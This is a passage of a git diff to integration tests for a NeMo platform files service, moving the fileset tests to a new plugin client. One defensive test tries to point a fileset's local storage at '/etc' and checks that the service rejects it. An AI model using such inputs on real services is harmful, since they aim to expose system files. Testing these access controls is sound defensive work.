pytest.raises(FilesBadRequestError) as exc_info: + files.create_fileset( workspace="default", - storage={ - "type": "huggingface", - "repo_id": "meta-llama/Llama-4-Scout-17B-16E-Instruct", - "repo_type": "model", - }, + body=CreateFilesetRequest( + name=name, + storage={ + "type": "huggingface", + "repo_id": "meta-llama/Llama-4-Scout-17B-16E-Instruct", + "repo_type": "model", + }, + ), ) # Should get a 400 error with access denied message assert exc_info.value.status_code == 400 - assert "Access denied" in str(exc_info.value.body) or "gated" in str(exc_info.value.body).lower() + assert "Access denied" in str(exc_info.value) or "gated" in str(exc_info.value).lower() def test_download_file_from_public_dataset(self, sdk: NeMoPlatform): """Test downloading a file from a public Huggingface dataset.""" @@ -251,7 +260,7 @@ def test_file_exists_with_file_path(self, sdk: NeMoPlatform): "repo_type": "model", }, ) as fileset: - fs = FilesetFileSystem(sdk=sdk) + fs = FilesetFileSystem(client=client_from_platform(sdk, FilesClient)) file_path = f"{fileset.workspace}/{fileset.name}#config.json" # This would fail with EntryNotFoundError before the fix @@ -272,7 +281,7 @@ def test_file_exists_with_nonexistent_path_returns_false(self, sdk: NeMoPlatform "repo_type": "model", }, ) as fileset: - fs = FilesetFileSystem(sdk=sdk) + fs = FilesetFileSystem(client=client_from_platform(sdk, FilesClient)) file_path = f"{fileset.workspace}/{fileset.name}#nonexistent/file/path.txt" # Should return False, not raise an error @@ -298,7 +307,7 @@ def test_get_downloads_single_file(self, sdk: NeMoPlatform, tmp_path): "repo_type": "model", }, ) as fileset: - fs = FilesetFileSystem(sdk=sdk) + fs = FilesetFileSystem(client=client_from_platform(sdk, FilesClient)) file_path = f"{fileset.workspace}/{fileset.name}#config.json" # Download single file @@ -330,7 +339,7 @@ def test_get_downloads_directory_with_trailing_slash(self, sdk: NeMoPlatform, tm "repo_type": "model", }, ) as fileset: - fs = FilesetFileSystem(sdk=sdk) + fs = FilesetFileSystem(client=client_from_platform(sdk, FilesClient)) # Trailing slash on source - copy contents directly dir_path = f"{fileset.workspace}/{fileset.name}#/" @@ -358,7 +367,7 @@ def test_get_downloads_directory_without_trailing_slash(self, sdk: NeMoPlatform, "repo_type": "model", }, ) as fileset: - fs = FilesetFileSystem(sdk=sdk) + fs = FilesetFileSystem(client=client_from_platform(sdk, FilesClient)) # No trailing slash on source - for fileset root, copies contents directly dir_path = f"{fileset.workspace}/{fileset.name}#" @@ -393,10 +402,11 @@ def test_cache_path_uses_resolved_sha_not_mutable_ref(self, sdk: NeMoPlatform, c }, ) as fileset: # Get the resolved commit SHA - persisted = sdk.files.filesets.retrieve( + files = client_from_platform(sdk, FilesClient) + persisted = files.get_fileset( name=fileset.name, workspace=fileset.workspace, - ) + ).data() commit_sha = persisted.storage.revision assert commit_sha != "main", "revision should be resolved to SHA" diff --git a/services/core/files/tests/integration/external_storage/test_ngc_storage.py b/services/core/files/tests/integration/external_storage/test_ngc_storage.py index 834c05418b..6e259fc532 100644 --- a/services/core/files/tests/integration/external_storage/test_ngc_storage.py +++ b/services/core/files/tests/integration/external_storage/test_ngc_storage.py @@ -23,6 +23,8 @@ import pytest from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient from nmp.core.files.app.backends.base import StorageImpl from nmp.core.files.app.streaming import download_url_streaming from nmp.core.files.testing.utils import create_fileset @@ -82,10 +84,11 @@ def test_fileset_resolves_latest_to_version_id(self, sdk: NeMoPlatform, ngc_api_ }, ) as fileset: # Get the persisted fileset to check resolved values - persisted = sdk.files.filesets.retrieve( + files = client_from_platform(sdk, FilesClient) + persisted = files.get_fileset( name=fileset.name, workspace=fileset.workspace, - ) + ).data() storage = persisted.storage assert storage.type == "ngc" @@ -113,10 +116,11 @@ def test_fileset_with_explicit_version_preserves_both(self, sdk: NeMoPlatform, n "api_key_secret": ngc_api_key_secret, }, ) as fileset: - persisted = sdk.files.filesets.retrieve( + files = client_from_platform(sdk, FilesClient) + persisted = files.get_fileset( name=fileset.name, workspace=fileset.workspace, - ) + ).data() storage = persisted.storage @@ -264,10 +268,11 @@ def test_cache_path_uses_resolved_version_not_latest( }, ) as fileset: # Get the resolved version ID - persisted = sdk.files.filesets.retrieve( + files = client_from_platform(sdk, FilesClient) + persisted = files.get_fileset( name=fileset.name, workspace=fileset.workspace, - ) + ).data() version_id = persisted.storage.version assert version_id is not None, "version should be resolved" diff --git a/services/core/files/tests/integration/external_storage/test_s3_storage.py b/services/core/files/tests/integration/external_storage/test_s3_storage.py index 167eee40c7..13884f0661 100644 --- a/services/core/files/tests/integration/external_storage/test_s3_storage.py +++ b/services/core/files/tests/integration/external_storage/test_s3_storage.py @@ -35,9 +35,11 @@ import pytest from aiobotocore.session import get_session from botocore.exceptions import ClientError -from nemo_platform import APIStatusError, NeMoPlatform -from nemo_platform.types.files import S3StorageConfigParam -from nemo_platform.types.files.fileset import Fileset +from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NemoHTTPError as FilesBadRequestError +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest, FilesetOutput from nmp.common.auth import AuthClient, get_auth_client from nmp.common.auth.models import Principal from nmp.common.config import AuthConfig @@ -76,9 +78,9 @@ def s3_storage_config( access_key_secret: str, secret_key_secret: str, prefix: str | None = None, -) -> S3StorageConfigParam: +) -> dict[str, object]: """Helper to create S3 storage config dict with explicit credentials.""" - config: S3StorageConfigParam = { + config: dict[str, object] = { "type": "s3", "bucket": bucket, "endpoint_url": S3_TEST_ENDPOINT, @@ -132,7 +134,7 @@ def s3_credentials(sdk: NeMoPlatform) -> Iterator[tuple[str, str]]: @pytest.fixture -def s3_fileset(sdk: NeMoPlatform, s3_test_bucket: str, s3_credentials: tuple[str, str]) -> Iterator[Fileset]: +def s3_fileset(sdk: NeMoPlatform, s3_test_bucket: str, s3_credentials: tuple[str, str]) -> Iterator[FilesetOutput]: """Create a fileset with S3 storage for testing.""" name = f"s3-test-{uuid.uuid4().hex[:8]}" access_key_secret, secret_key_secret = s3_credentials @@ -160,7 +162,8 @@ def test_fileset_create_with_s3_storage( name, storage=s3_storage_config(s3_test_bucket, access_key_secret, secret_key_secret), ) as fileset: - persisted = sdk.files.filesets.retrieve(name=fileset.name, workspace=fileset.workspace) + files = client_from_platform(sdk, FilesClient) + persisted = files.get_fileset(name=fileset.name, workspace=fileset.workspace).data() assert persisted.storage.type == "s3" assert persisted.storage.bucket == s3_test_bucket @@ -169,19 +172,22 @@ def test_validate_storage_bucket_not_found(self, sdk: NeMoPlatform, s3_credentia name = f"s3-test-{uuid.uuid4().hex[:8]}" access_key_secret, secret_key_secret = s3_credentials - with pytest.raises(APIStatusError) as exc_info: - sdk.files.filesets.create( - name=name, + files = client_from_platform(sdk, FilesClient) + with pytest.raises(FilesBadRequestError) as exc_info: + files.create_fileset( workspace=DEFAULT_WORKSPACE, - storage=s3_storage_config( - f"nonexistent-bucket-{uuid.uuid4().hex[:8]}", - access_key_secret, - secret_key_secret, + body=CreateFilesetRequest( + name=name, + storage=s3_storage_config( + f"nonexistent-bucket-{uuid.uuid4().hex[:8]}", + access_key_secret, + secret_key_secret, + ), ), ) assert exc_info.value.status_code == 400 - assert "Not found" in str(exc_info.value.body) or "bucket" in str(exc_info.value.body).lower() + assert "Not found" in str(exc_info.value) or "bucket" in str(exc_info.value).lower() def test_invalid_credentials(self, sdk: NeMoPlatform, s3_test_bucket: str): """Test that invalid credentials raise an error during fileset creation.""" @@ -193,20 +199,23 @@ def test_invalid_credentials(self, sdk: NeMoPlatform, s3_test_bucket: str): sdk.secrets.create(workspace=DEFAULT_WORKSPACE, name=bad_secret_secret, value="invalid-secret") try: - with pytest.raises(APIStatusError) as exc_info: - sdk.files.filesets.create( - name=name, + files = client_from_platform(sdk, FilesClient) + with pytest.raises(FilesBadRequestError) as exc_info: + files.create_fileset( workspace=DEFAULT_WORKSPACE, - storage=s3_storage_config(s3_test_bucket, bad_access_secret, bad_secret_secret), + body=CreateFilesetRequest( + name=name, + storage=s3_storage_config(s3_test_bucket, bad_access_secret, bad_secret_secret), + ), ) assert exc_info.value.status_code == 400 - assert "Access denied" in str(exc_info.value.body) or "credentials" in str(exc_info.value.body).lower() + assert "Access denied" in str(exc_info.value) or "credentials" in str(exc_info.value).lower() finally: sdk.secrets.delete(workspace=DEFAULT_WORKSPACE, name=bad_access_secret) sdk.secrets.delete(workspace=DEFAULT_WORKSPACE, name=bad_secret_secret) - def test_upload_and_download_roundtrip(self, sdk: NeMoPlatform, s3_fileset: Fileset, tmp_path): + def test_upload_and_download_roundtrip(self, sdk: NeMoPlatform, s3_fileset: FilesetOutput, tmp_path): """Test upload file, download it back, verify content matches.""" test_content = b"Hello, S3 storage backend test!" upload_file = tmp_path / "test-file.txt" @@ -243,7 +252,7 @@ def test_upload_and_download_roundtrip(self, sdk: NeMoPlatform, s3_fileset: File ) assert download_path.read_bytes() == test_content - def test_upload_and_download_empty_file(self, sdk: NeMoPlatform, s3_fileset: Fileset, tmp_path): + def test_upload_and_download_empty_file(self, sdk: NeMoPlatform, s3_fileset: FilesetOutput, tmp_path): """Test upload and download of an empty file. This exercises the edge case where iter_chunked yields no chunks, @@ -274,7 +283,7 @@ def test_upload_and_download_empty_file(self, sdk: NeMoPlatform, s3_fileset: Fil ) assert downloaded_content == test_content - def test_upload_large_file(self, sdk: NeMoPlatform, s3_fileset: Fileset, tmp_path): + def test_upload_large_file(self, sdk: NeMoPlatform, s3_fileset: FilesetOutput, tmp_path): """Test upload of a large file via presigned URL streaming. Validates that large file uploads work correctly through the presigned @@ -303,7 +312,7 @@ def test_upload_large_file(self, sdk: NeMoPlatform, s3_fileset: Fileset, tmp_pat ) assert downloaded_content == test_content - def test_download_with_byte_range(self, sdk: NeMoPlatform, s3_fileset: Fileset, tmp_path): + def test_download_with_byte_range(self, sdk: NeMoPlatform, s3_fileset: FilesetOutput, tmp_path): """Test partial download using HTTP Range header.""" test_content = b"0123456789ABCDEF" upload_file = tmp_path / "range-test.txt" @@ -327,7 +336,7 @@ def test_download_with_byte_range(self, sdk: NeMoPlatform, s3_fileset: Fileset, assert range_response.status_code == 206 # Partial Content assert range_response.read() == b"56789A" - def test_delete_file(self, sdk: NeMoPlatform, s3_fileset: Fileset, tmp_path): + def test_delete_file(self, sdk: NeMoPlatform, s3_fileset: FilesetOutput, tmp_path): """Test upload, delete, verify gone.""" upload_file = tmp_path / "to-delete.txt" upload_file.write_bytes(b"Delete me!") @@ -370,11 +379,14 @@ def test_delete_fileset_with_files( prefix = f"delete-test-{uuid.uuid4().hex[:8]}" # Create fileset with a unique prefix so we can verify cleanup - fileset = sdk.files.filesets.create( - name=name, + files_client = client_from_platform(sdk, FilesClient) + fileset = files_client.create_fileset( workspace=DEFAULT_WORKSPACE, - storage=s3_storage_config(s3_test_bucket, access_key_secret, secret_key_secret, prefix=prefix), - ) + body=CreateFilesetRequest( + name=name, + storage=s3_storage_config(s3_test_bucket, access_key_secret, secret_key_secret, prefix=prefix), + ), + ).data() try: # Upload multiple files to exercise bulk delete @@ -395,26 +407,27 @@ def test_delete_fileset_with_files( ) # Verify files exist - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) - assert len(files.data) == 3 + file_list = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + assert len(file_list.data) == 3 # Delete the fileset - this calls delete_all() on the S3 backend - sdk.files.filesets.delete(name=fileset.name, workspace=fileset.workspace) + files_client.delete_fileset(name=fileset.name, workspace=fileset.workspace) # Verify fileset is gone - with pytest.raises(APIStatusError) as exc_info: - sdk.files.filesets.retrieve(name=name, workspace=DEFAULT_WORKSPACE) - assert exc_info.value.status_code == 404 + from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError + + with pytest.raises(FilesNotFoundError): + files_client.get_fileset(name=name, workspace=DEFAULT_WORKSPACE) except Exception: # Cleanup on failure - delete fileset if it still exists try: - sdk.files.filesets.delete(name=name, workspace=DEFAULT_WORKSPACE) - except APIStatusError: + files_client.delete_fileset(name=name, workspace=DEFAULT_WORKSPACE) + except Exception: pass raise - def test_multiple_files_with_directory_structure(self, sdk: NeMoPlatform, s3_fileset: Fileset, tmp_path): + def test_multiple_files_with_directory_structure(self, sdk: NeMoPlatform, s3_fileset: FilesetOutput, tmp_path): """Test uploading multiple files with directory structure.""" files_to_upload = { "file1.txt": b"content1", @@ -543,11 +556,11 @@ def test_fileset_without_storage_uses_s3_default(self, sdk_with_s3_default: NeMo name = f"default-storage-test-{uuid.uuid4().hex[:8]}" # Create fileset WITHOUT specifying storage - should use S3 default - fileset = sdk_with_s3_default.files.filesets.create( - name=name, + files = client_from_platform(sdk_with_s3_default, FilesClient) + fileset = files.create_fileset( workspace=DEFAULT_WORKSPACE, - # Note: no storage parameter - ) + body=CreateFilesetRequest(name=name), + ).data() try: # Verify it was created with S3 storage @@ -557,7 +570,7 @@ def test_fileset_without_storage_uses_s3_default(self, sdk_with_s3_default: NeMo assert "default-storage" in fileset.storage.prefix assert name in fileset.storage.prefix finally: - sdk_with_s3_default.files.filesets.delete(name=name, workspace=DEFAULT_WORKSPACE) + files.delete_fileset(name=name, workspace=DEFAULT_WORKSPACE) def test_upload_download_with_s3_default(self, sdk_with_s3_default: NeMoPlatform, tmp_path): """Test file upload/download on fileset using S3 default storage.""" @@ -565,10 +578,11 @@ def test_upload_download_with_s3_default(self, sdk_with_s3_default: NeMoPlatform test_content = b"Hello from S3 default storage!" # Create fileset without explicit storage - fileset = sdk_with_s3_default.files.filesets.create( - name=name, + files = client_from_platform(sdk_with_s3_default, FilesClient) + fileset = files.create_fileset( workspace=DEFAULT_WORKSPACE, - ) + body=CreateFilesetRequest(name=name), + ).data() try: # Upload file @@ -598,15 +612,16 @@ def test_upload_download_with_s3_default(self, sdk_with_s3_default: NeMoPlatform ) assert downloaded == test_content finally: - sdk_with_s3_default.files.filesets.delete(name=name, workspace=DEFAULT_WORKSPACE) + files.delete_fileset(name=name, workspace=DEFAULT_WORKSPACE) def test_multiple_filesets_isolated_with_s3_default(self, sdk_with_s3_default: NeMoPlatform, tmp_path): """Test that multiple filesets using S3 default are isolated via prefix.""" name1 = f"default-test-1-{uuid.uuid4().hex[:8]}" name2 = f"default-test-2-{uuid.uuid4().hex[:8]}" - fileset1 = sdk_with_s3_default.files.filesets.create(name=name1, workspace=DEFAULT_WORKSPACE) - fileset2 = sdk_with_s3_default.files.filesets.create(name=name2, workspace=DEFAULT_WORKSPACE) + files = client_from_platform(sdk_with_s3_default, FilesClient) + fileset1 = files.create_fileset(workspace=DEFAULT_WORKSPACE, body=CreateFilesetRequest(name=name1)).data() + fileset2 = files.create_fileset(workspace=DEFAULT_WORKSPACE, body=CreateFilesetRequest(name=name2)).data() try: # Both should have different prefixes (S3 storage has prefix attribute) @@ -651,8 +666,8 @@ def test_multiple_filesets_isolated_with_s3_default(self, sdk_with_s3_default: N assert content1 == b"content for fileset 1" assert content2 == b"content for fileset 2" finally: - sdk_with_s3_default.files.filesets.delete(name=name1, workspace=DEFAULT_WORKSPACE) - sdk_with_s3_default.files.filesets.delete(name=name2, workspace=DEFAULT_WORKSPACE) + files.delete_fileset(name=name1, workspace=DEFAULT_WORKSPACE) + files.delete_fileset(name=name2, workspace=DEFAULT_WORKSPACE) def test_download_from_huggingface_fileset_with_s3_default(self, sdk_with_s3_default: NeMoPlatform): """Test downloading from a HuggingFace fileset works with S3 as default storage. @@ -665,16 +680,19 @@ def test_download_from_huggingface_fileset_with_s3_default(self, sdk_with_s3_def name = f"hf-with-s3-default-{uuid.uuid4().hex[:8]}" # Create a HuggingFace-backed fileset (explicitly specifying storage) - fileset = sdk_with_s3_default.files.filesets.create( - name=name, + files_client = client_from_platform(sdk_with_s3_default, FilesClient) + fileset = files_client.create_fileset( workspace=DEFAULT_WORKSPACE, - storage={ - "type": "huggingface", - "repo_id": "hf-internal-testing/tiny-random-bert", - "repo_type": "model", - "revision": "main", - }, - ) + body=CreateFilesetRequest( + name=name, + storage={ + "type": "huggingface", + "repo_id": "hf-internal-testing/tiny-random-bert", + "repo_type": "model", + "revision": "main", + }, + ), + ).data() try: # List files to verify connection works @@ -707,4 +725,4 @@ def test_download_from_huggingface_fileset_with_s3_default(self, sdk_with_s3_def assert isinstance(parsed, dict), "config.json should be a JSON object" finally: - sdk_with_s3_default.files.filesets.delete(name=name, workspace=DEFAULT_WORKSPACE) + files_client.delete_fileset(name=name, workspace=DEFAULT_WORKSPACE) diff --git a/services/core/files/tests/integration/test_files_basic.py b/services/core/files/tests/integration/test_files_basic.py index 216b9b8967..34661cea3f 100644 --- a/services/core/files/tests/integration/test_files_basic.py +++ b/services/core/files/tests/integration/test_files_basic.py @@ -22,9 +22,11 @@ import pandas as pd import pytest from fastapi.testclient import TestClient -from nemo_platform import APIStatusError, ConflictError, NeMoPlatform, NotFoundError -from nemo_platform.types.files.fileset import Fileset -from nemo_platform_plugin.client import errors as nemo_errors +from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import BadRequestError, ConflictError, NemoHTTPError, NotFoundError +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest, FilesetOutput, UpdateFilesetRequest from nmp.core.files.testing.utils import ( DEFAULT_WORKSPACE_ID, HTTPXFileSystem, @@ -35,28 +37,31 @@ class TestFilesBasic: def test_fileset_get(self, sdk: NeMoPlatform): + files = client_from_platform(sdk, FilesClient) with create_fileset(sdk) as fileset: - fetched = sdk.files.filesets.retrieve(fileset.name, workspace=fileset.workspace) + fetched = files.get_fileset(fileset.name, workspace=fileset.workspace).data() assert fetched.id == fileset.id assert fetched.name == fileset.name def test_fileset_list(self, sdk: NeMoPlatform): """Test listing filesets and filtering by workspace.""" + files = client_from_platform(sdk, FilesClient) with create_fileset(sdk) as fileset1: with create_fileset(sdk) as fileset2: - filesets = list(sdk.files.filesets.list(workspace=DEFAULT_WORKSPACE_ID).items()) + filesets = list(files.list_filesets(workspace=DEFAULT_WORKSPACE_ID).items()) assert any(fs.id == fileset1.id for fs in filesets) assert any(fs.id == fileset2.id for fs in filesets) def test_fileset_list_filter_by_name(self, sdk: NeMoPlatform): """Test listing filesets with name filter.""" + files = client_from_platform(sdk, FilesClient) with create_fileset(sdk) as fileset1: with create_fileset(sdk) as fileset2: # Filter by exact name of fileset1 filtered = list( - sdk.files.filesets.list( + files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - filter={"name": fileset1.name}, + query_params={"filter": {"name": fileset1.name}}, ).items() ) assert len(filtered) == 1 @@ -65,9 +70,9 @@ def test_fileset_list_filter_by_name(self, sdk: NeMoPlatform): # Filter by exact name of fileset2 filtered2 = list( - sdk.files.filesets.list( + files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - filter={"name": fileset2.name}, + query_params={"filter": {"name": fileset2.name}}, ).items() ) assert len(filtered2) == 1 @@ -75,22 +80,23 @@ def test_fileset_list_filter_by_name(self, sdk: NeMoPlatform): # Filter by non-existent name should return empty filtered_none = list( - sdk.files.filesets.list( + files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - filter={"name": "non-existent-fileset-name"}, + query_params={"filter": {"name": "non-existent-fileset-name"}}, ).items() ) assert len(filtered_none) == 0 def test_fileset_list_filter_by_purpose(self, sdk: NeMoPlatform): """Test listing filesets with purpose filter.""" + files = client_from_platform(sdk, FilesClient) with create_fileset(sdk, purpose="dataset") as dataset_fileset: with create_fileset(sdk, purpose="generic") as generic_fileset: # Filter by purpose=dataset dataset_filesets = list( - sdk.files.filesets.list( + files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - filter={"purpose": "dataset"}, + query_params={"filter": {"purpose": "dataset"}}, ).items() ) assert any(fs.id == dataset_fileset.id for fs in dataset_filesets) @@ -98,9 +104,9 @@ def test_fileset_list_filter_by_purpose(self, sdk: NeMoPlatform): # Filter by purpose=generic generic_filesets = list( - sdk.files.filesets.list( + files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - filter={"purpose": "generic"}, + query_params={"filter": {"purpose": "generic"}}, ).items() ) assert any(fs.id == generic_fileset.id for fs in generic_filesets) @@ -108,14 +114,15 @@ def test_fileset_list_filter_by_purpose(self, sdk: NeMoPlatform): def test_fileset_list_filter_by_storage_type(self, sdk: NeMoPlatform): """Test listing filesets with storage_type filter.""" + files = client_from_platform(sdk, FilesClient) # Create filesets with default local storage with create_fileset(sdk) as local_fileset1: with create_fileset(sdk) as local_fileset2: # Filter by storage_type=local local_filesets = list( - sdk.files.filesets.list( + files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - filter={"storage_type": "local"}, + query_params={"filter": {"storage_type": "local"}}, ).items() ) assert any(fs.id == local_fileset1.id for fs in local_filesets) @@ -127,16 +134,16 @@ def test_fileset_list_filter_by_storage_type(self, sdk: NeMoPlatform): def test_fileset_list_pagination(self, sdk: NeMoPlatform): """Test listing filesets with pagination.""" + files = client_from_platform(sdk, FilesClient) with ExitStack() as stack: # Create 5 filesets using ExitStack for automatic cleanup for _ in range(5): stack.enter_context(create_fileset(sdk, purpose="generic")) # Test first page with page_size=2 - resp1 = sdk.files.filesets.list( + resp1 = files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - page=1, - page_size=2, + query_params={"page": 1, "page_size": 2}, ) page1 = resp1.page() assert len(page1.items) == 2 @@ -144,10 +151,9 @@ def test_fileset_list_pagination(self, sdk: NeMoPlatform): assert page1.page_size == 2 # Test second page - resp2 = sdk.files.filesets.list( + resp2 = files.list_filesets( workspace=DEFAULT_WORKSPACE_ID, - page=2, - page_size=2, + query_params={"page": 2, "page_size": 2}, ) page2 = resp2.page() assert len(page2.items) == 2 @@ -158,7 +164,7 @@ def test_fileset_list_pagination(self, sdk: NeMoPlatform): page2_ids = {fs.id for fs in page2.items} assert page1_ids.isdisjoint(page2_ids), "Pages should have different filesets" - def test_file_upload_download(self, sdk: NeMoPlatform, fileset: Fileset): + def test_file_upload_download(self, sdk: NeMoPlatform, fileset: FilesetOutput): """Test uploading and downloading a file using application/octet-stream.""" test_content = b"Hello, World! This is a test file.\nLine 2\nLine 3" @@ -201,7 +207,7 @@ def test_file_upload_download(self, sdk: NeMoPlatform, fileset: Fileset): ) assert len(files_response.data) == 0, "File should be deleted" - def test_file_upload_nested_paths_and_list(self, sdk: NeMoPlatform, fileset: Fileset): + def test_file_upload_nested_paths_and_list(self, sdk: NeMoPlatform, fileset: FilesetOutput): """Test uploading multiple files with nested paths concurrently and listing them.""" # Upload multiple files with nested paths @@ -251,7 +257,7 @@ def upload_file(path_content_tuple): ) assert downloaded == expected_content - def test_file_range_requests_with_duckdb(self, sdk: NeMoPlatform, fileset: Fileset, client: TestClient): + def test_file_range_requests_with_duckdb(self, sdk: NeMoPlatform, fileset: FilesetOutput, client: TestClient): """Test HTTP range requests by querying a parquet file with DuckDB. Uses HTTPXFileSystem to route DuckDB requests through the test client, @@ -306,11 +312,12 @@ def test_file_range_requests_with_duckdb(self, sdk: NeMoPlatform, fileset: Files def test_error_handling(self, sdk: NeMoPlatform): """Test error handling for various 404 scenarios.""" + files = client_from_platform(sdk, FilesClient) # Test 1: Get non-existent fileset try: - sdk.files.filesets.retrieve( - "non-existent-fileset", + files.get_fileset( + name="non-existent-fileset", workspace="non-existent-workspace", ) assert False, "Should have raised NotFoundError" @@ -331,17 +338,17 @@ def test_error_handling(self, sdk: NeMoPlatform): ) # Verify fileset exists - retrieved = sdk.files.filesets.retrieve( - fileset_name_str, + retrieved = files.get_fileset( + name=fileset_name_str, workspace=workspace_str, - ) + ).data() assert retrieved.id == fileset.id # After context manager exits, fileset is deleted # Verify getting the fileset now raises 404 try: - sdk.files.filesets.retrieve( - fileset_name_str, + files.get_fileset( + name=fileset_name_str, workspace=workspace_str, ) assert False, "Should have raised NotFoundError after fileset deletion" @@ -349,8 +356,6 @@ def test_error_handling(self, sdk: NeMoPlatform): pass # Expected # Test 3: Try to download non-existent file - # Binary/streaming operations raise errors after send() returns (deferred), - # so they bypass the _RemappingFilesClient.send() override. with create_fileset(sdk) as fileset: try: sdk.files.download_content( @@ -359,7 +364,7 @@ def test_error_handling(self, sdk: NeMoPlatform): workspace=fileset.workspace, ) assert False, "Should have raised NotFoundError for non-existent file" - except (NotFoundError, nemo_errors.NotFoundError): + except NotFoundError: pass # Expected # Test 4: Try to delete non-existent file @@ -371,7 +376,7 @@ def test_error_handling(self, sdk: NeMoPlatform): workspace=fileset.workspace, ) assert False, "Should have raised NotFoundError when deleting non-existent file" - except (NotFoundError, nemo_errors.NotFoundError): + except NotFoundError: pass # Expected # Test 5: List files in non-existent fileset @@ -386,12 +391,13 @@ def test_error_handling(self, sdk: NeMoPlatform): def test_fileset_create_conflict(self, sdk: NeMoPlatform): """Test that creating a fileset with a duplicate name returns 409 Conflict.""" + files = client_from_platform(sdk, FilesClient) with create_fileset(sdk) as fileset: # Try to create another fileset with the same name and workspace try: - sdk.files.filesets.create( + files.create_fileset( + body=CreateFilesetRequest(name=fileset.name), workspace=fileset.workspace, - name=fileset.name, ) assert False, "Should have raised ConflictError" except ConflictError as e: @@ -400,31 +406,37 @@ def test_fileset_create_conflict(self, sdk: NeMoPlatform): def test_fileset_create_rejects_user_provided_local_storage(self, sdk: NeMoPlatform): """Test that explicitly requesting local storage is rejected.""" + files = client_from_platform(sdk, FilesClient) try: - sdk.files.filesets.create( + files.create_fileset( + body=CreateFilesetRequest( + name="reject-local-storage", + storage={"type": "local", "path": "/etc"}, + ), workspace=DEFAULT_WORKSPACE_ID, - name="reject-local-storage", - storage={"type": "local", "path": "/etc"}, ) assert False, "Should have raised NemoHTTPError for local storage" - except APIStatusError as exc: + except BadRequestError as exc: assert exc.status_code == 400 assert "local storage is not allowed" in str(exc.body).lower() def test_fileset_create_rejects_s3_use_sdk_auth(self, sdk: NeMoPlatform): """Test that S3 storage with use_sdk_auth=True is rejected for user-provided storage.""" + files = client_from_platform(sdk, FilesClient) try: - sdk.files.filesets.create( + files.create_fileset( + body=CreateFilesetRequest( + name="reject-s3-sdk-auth", + storage={ + "type": "s3", + "bucket": "my-bucket", + "use_sdk_auth": True, + }, + ), workspace=DEFAULT_WORKSPACE_ID, - name="reject-s3-sdk-auth", - storage={ - "type": "s3", - "bucket": "my-bucket", - "use_sdk_auth": True, - }, ) assert False, "Should have raised NemoHTTPError for S3 with use_sdk_auth=True" - except APIStatusError as exc: + except BadRequestError as exc: assert exc.status_code == 400 assert "use_sdk_auth=true is not allowed" in str(exc.body).lower() @@ -432,20 +444,24 @@ def test_fileset_create_allows_user_provided_local_storage_when_enabled( self, sdk_allow_user_local_storage: NeMoPlatform, tmp_path: Path ): """Test that explicit local storage is allowed when feature flag is enabled.""" - fileset = sdk_allow_user_local_storage.files.filesets.create( + files = client_from_platform(sdk_allow_user_local_storage, FilesClient) + fileset = files.create_fileset( + body=CreateFilesetRequest( + name="allow-local-storage", + storage={"type": "local", "path": str(tmp_path / "explicit")}, + ), workspace=DEFAULT_WORKSPACE_ID, - name="allow-local-storage", - storage={"type": "local", "path": str(tmp_path / "explicit")}, - ) + ).data() assert fileset.storage.type == "local" assert fileset.storage.path == str(tmp_path / "explicit") # Cleanup because not using create_fileset() helper. - sdk_allow_user_local_storage.files.filesets.delete(fileset.name, workspace=fileset.workspace) + files.delete_fileset(name=fileset.name, workspace=fileset.workspace) def test_fileset_update_partial(self, sdk: NeMoPlatform): """Test that partial updates work - only specified fields are updated.""" + files = client_from_platform(sdk, FilesClient) with create_fileset( sdk, purpose="generic", @@ -455,11 +471,11 @@ def test_fileset_update_partial(self, sdk: NeMoPlatform): original_custom_fields = fileset.custom_fields # Update only description - updated = sdk.files.filesets.update( - fileset.name, + updated = files.update_fileset( + name=fileset.name, workspace=fileset.workspace, - description="Updated description only", - ) + body=UpdateFilesetRequest(description="Updated description only"), + ).data() # Verify description was updated assert updated.description == "Updated description only" @@ -471,15 +487,18 @@ def test_fileset_update_partial(self, sdk: NeMoPlatform): def test_fileset_update_description_purpose_custom_fields(self, sdk: NeMoPlatform): """Test that description, purpose, and custom_fields can all be updated.""" + files = client_from_platform(sdk, FilesClient) with create_fileset(sdk, purpose="generic") as fileset: # Update all three fields - updated = sdk.files.filesets.update( - fileset.name, + updated = files.update_fileset( + name=fileset.name, workspace=fileset.workspace, - description="New description", - purpose="dataset", - custom_fields={"new_key": "new_value", "another": 123}, - ) + body=UpdateFilesetRequest( + description="New description", + purpose="dataset", + custom_fields={"new_key": "new_value", "another": 123}, + ), + ).data() # Verify all fields were updated assert updated.description == "New description" @@ -487,18 +506,19 @@ def test_fileset_update_description_purpose_custom_fields(self, sdk: NeMoPlatfor assert updated.custom_fields == {"new_key": "new_value", "another": 123} # Verify by fetching the fileset again - fetched = sdk.files.filesets.retrieve(fileset.name, workspace=fileset.workspace) + fetched = files.get_fileset(name=fileset.name, workspace=fileset.workspace).data() assert fetched.description == "New description" assert fetched.purpose == "dataset" assert fetched.custom_fields == {"new_key": "new_value", "another": 123} def test_fileset_update_not_found(self, sdk: NeMoPlatform): """Test that updating a non-existent fileset returns 404.""" + files = client_from_platform(sdk, FilesClient) try: - sdk.files.filesets.update( - "non-existent-fileset", + files.update_fileset( + name="non-existent-fileset", workspace=DEFAULT_WORKSPACE_ID, - description="Should fail", + body=UpdateFilesetRequest(description="Should fail"), ) assert False, "Should have raised NotFoundError" except NotFoundError: @@ -506,13 +526,16 @@ def test_fileset_update_not_found(self, sdk: NeMoPlatform): def test_fileset_update_returns_updated_output(self, sdk: NeMoPlatform): """Test that update returns the updated FilesetOutput with correct fields.""" + files = client_from_platform(sdk, FilesClient) with 